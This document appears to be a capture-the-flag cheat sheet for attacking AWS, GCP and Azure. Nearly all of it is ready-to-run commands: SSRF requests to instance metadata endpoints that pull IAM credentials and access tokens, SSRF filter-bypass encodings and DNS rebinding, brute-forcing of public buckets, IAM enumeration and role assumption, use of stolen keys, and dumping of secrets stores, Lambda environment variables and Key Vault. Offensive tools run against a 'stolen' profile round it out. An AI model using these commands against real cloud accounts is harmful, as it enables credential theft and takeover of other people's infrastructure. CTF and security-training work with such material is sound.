# Classic SSRF target — no headers required curl http://169.254.169.254/latest/meta-data/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE # ↑ Returns AccessKeyId, SecretAccessKey, Token # User-data often contains startup scripts with creds curl http://169.254.169.254/latest/user-data
# Step 1: get session token via PUT TOKEN=$(curl -X PUT \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \ http://169.254.169.254/latest/api/token) # Step 2: use token in subsequent requests curl -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/ curl -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE # IMDSv2 blocks SSRF via redirect (PUT can't follow) # But direct access from instance still works
# Requires Metadata-Flavor header curl -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/ # Get access token for service account curl -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token # Project metadata & SSH keys curl -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/project/attributes/ # Instance custom metadata (may contain flags/secrets) curl -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true
# Requires Metadata header curl -H "Metadata: true" \ "http://169.254.169.254/metadata/instance?api-version=2021-02-01" # Get managed identity access token curl -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" # Subscription & resource group info curl -H "Metadata: true" \ "http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01"
| Technique | Example | Notes |
|---|---|---|
| Decimal IP | http://2852039166/latest/meta-data/ | 169.254.169.254 as decimal integer |
| Hex IP | http://0xa9fea9fe/latest/meta-data/ | Hex encoding of 169.254.169.254 |
| IPv6 | http://[::ffff:169.254.169.254]/ | IPv4-mapped IPv6 address |
| DNS rebinding | Serve DNS that resolves to 169.254.169.254 | Use rbndr.us or custom DNS |
| Redirect | Host redirect on attacker server | Bypasses URL validation, not IMDSv2 |
| URL encoding | http://169.254.169.254/%6c%61%74%65%73%74/ | Encode path components |
| Enclosed alphanumerics | http://169.254.169.254/ with Unicode | Some parsers normalize Unicode digits |
# List bucket contents (no auth) aws s3 ls s3://bucket-name --no-sign-request aws s3 cp s3://bucket-name/flag.txt . --no-sign-request # Via HTTP curl https://bucket-name.s3.amazonaws.com/ curl https://s3.amazonaws.com/bucket-name/ # Check bucket policy aws s3api get-bucket-policy --bucket bucket-name aws s3api get-bucket-acl --bucket bucket-name # List all objects recursively aws s3 ls s3://bucket-name --recursive --no-sign-request # Bruteforce common flag paths for f in flag flag.txt secret.txt; do curl -s "https://bucket-name.s3.amazonaws.com/$f" done
# Who am I? aws sts get-caller-identity # What can I do? aws iam list-attached-user-policies --user-name USER aws iam list-user-policies --user-name USER aws iam get-policy-version --policy-arn ARN --version-id v1 # List roles (look for overly permissive) aws iam list-roles aws iam list-policies --scope Local # Assume role if allowed aws sts assume-role --role-arn arn:aws:iam::ACCT:role/ROLE \ --role-session-name pwned # Use stolen creds from IMDS export AWS_ACCESS_KEY_ID=AKIA... export AWS_SECRET_ACCESS_KEY=... export AWS_SESSION_TOKEN=...
# List Lambda functions aws lambda list-functions aws lambda get-function --function-name NAME # ↑ Returns presigned URL to source code ZIP! # Get env vars (often contain flags/keys) aws lambda get-function-configuration --function-name NAME \ | jq '.Environment.Variables' # Secrets Manager aws secretsmanager list-secrets aws secretsmanager get-secret-value --secret-id NAME # SSM Parameter Store aws ssm get-parameters-by-path --path / --recursive aws ssm get-parameter --name /secret/flag --with-decryption # EC2 user-data (base64 encoded) aws ec2 describe-instance-attribute \ --instance-id i-xxx --attribute userData \ | jq -r '.UserData.Value' | base64 -d
# Cognito: misconfigured identity pools aws cognito-identity get-id \ --identity-pool-id us-east-1:xxxx aws cognito-identity get-credentials-for-identity \ --identity-id us-east-1:xxxx # ↑ May return IAM creds for unauthenticated role # DynamoDB aws dynamodb list-tables aws dynamodb scan --table-name flags aws dynamodb scan --table-name users # Common CTF flag locations in AWS: # S3 objects, Lambda env vars, # Secrets Manager, DynamoDB items, # SSM parameters, EC2 user-data
# Current auth context gcloud auth list gcloud config list gcloud projects list # Service account info gcloud iam service-accounts list gcloud iam service-accounts keys list \ --iam-account SA@PROJECT.iam.gserviceaccount.com # Activate stolen service account key gcloud auth activate-service-account \ --key-file stolen-key.json # Use access token from metadata curl -H "Authorization: Bearer $TOKEN" \ "https://www.googleapis.com/storage/v1/b?project=PROJECT"
# List / download from GCS gsutil ls gsutil ls gs://bucket-name gsutil cp gs://bucket-name/flag.txt . # Public bucket via HTTP curl "https://storage.googleapis.com/bucket-name/" curl "https://storage.googleapis.com/bucket-name/flag.txt" # Cloud Functions (source code access) gcloud functions list gcloud functions describe FUNC_NAME gcloud functions logs read FUNC_NAME # App Engine source gcloud app versions list gcloud app describe # Common flag locations in GCP: # GCS objects, Cloud Function env vars, # Firestore/Datastore, Secret Manager, # Compute instance metadata attributes
# Current context az account list az account show az resource list # Blob storage: public containers curl "https://ACCOUNT.blob.core.windows.net/CONTAINER?restype=container&comp=list" az storage blob list --account-name ACCOUNT --container CONTAINER az storage blob download --account-name ACCOUNT \ --container CONTAINER --name flag.txt -f flag.txt # List storage accounts az storage account list az storage container list --account-name ACCOUNT
# Managed Identity token from IMDS curl -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" # Key Vault secrets az keyvault list az keyvault secret list --vault-name VAULT az keyvault secret show --vault-name VAULT --name flag # App Service env vars (if you have access) az webapp config appsettings list \ --name APP --resource-group RG # Common flag locations in Azure: # Blob storage, Key Vault secrets, # App Service env vars, Cosmos DB, # Function App configuration
| Pattern | Steps | Flag location |
|---|---|---|
| SSRF → creds → pivot | Find SSRF → hit metadata endpoint → steal IAM creds → enumerate cloud resources | S3/GCS/Blob object, secrets store most common |
| Public bucket | Discover bucket name (source, DNS, brute) → list objects → download flag | Direct download from bucket |
| Leaked keys | Find service account key / AWS creds in git repo, env vars, or config files | Use creds to access other services |
| Over-permissive IAM | Get limited creds → discover excessive permissions → escalate | Secrets Manager, Parameter Store, Key Vault |
| Serverless source leak | Access Lambda/Cloud Function → download source code → find hardcoded secrets | Env vars or hardcoded in source |
| Container registry | Find unauthenticated registry → pull images → inspect layers for secrets | Embedded in image layers/env |
# 1. Identify cloud provider # Check response headers, DNS, error messages dig target.com # CNAME to *.amazonaws.com? curl -v target.com 2>&1 | grep -i "server\|x-amz\|x-goog\|x-ms" # 2. Try SSRF if webapp present # Test: url=http://169.254.169.254/latest/meta-data/ # 3. Try public buckets curl -s "https://COMPANY.s3.amazonaws.com/" curl -s "https://storage.googleapis.com/COMPANY/" curl -s "https://COMPANY.blob.core.windows.net/public?restype=container&comp=list" # 4. Check for leaked creds # Look in: page source, .env, .git, JS files
# AWS: configure stolen credentials export AWS_ACCESS_KEY_ID="AKIA..." export AWS_SECRET_ACCESS_KEY="..." export AWS_SESSION_TOKEN="..." # if from IMDS/STS aws sts get-caller-identity # verify # GCP: use access token curl -H "Authorization: Bearer $TOKEN" \ "https://www.googleapis.com/..." # Azure: use bearer token curl -H "Authorization: Bearer $TOKEN" \ "https://management.azure.com/subscriptions?api-version=2020-01-01" # Pro tip: always check what permissions you have # before trying to access flag locations
| Tool | Purpose | Usage |
|---|---|---|
| aws / gcloud / az | Official cloud CLIs | Primary interaction with cloud APIs |
| Pacu | AWS exploitation framework | pacu → import_keys → run iam__enum_permissions essential |
| ScoutSuite | Multi-cloud security auditing | scout aws --profile stolen |
| CloudFox | AWS situational awareness | cloudfox aws --profile stolen all-checks |
| enumerate-iam | Brute-force IAM permissions | python enumerate-iam.py --access-key AKIA... fast |
| s3scanner | S3 bucket discovery | s3scanner --bucket-file wordlist.txt |
| bucket_finder | GCS/S3 bucket brute-force | bucket_finder.rb wordlist.txt |
| truffleHog | Secret scanning in repos | trufflehog git https://github.com/org/repo |
curl http://169.254.169.254/latest/meta-data/ — try SSRF to metadata
② aws sts get-caller-identity — check stolen creds
③ aws s3 ls s3://bucket --no-sign-request — public buckets
④ aws secretsmanager list-secrets — check secrets stores
⑤ aws lambda get-function --function-name F — source code leak
⑥ Check env vars, user-data, DynamoDB, Key Vault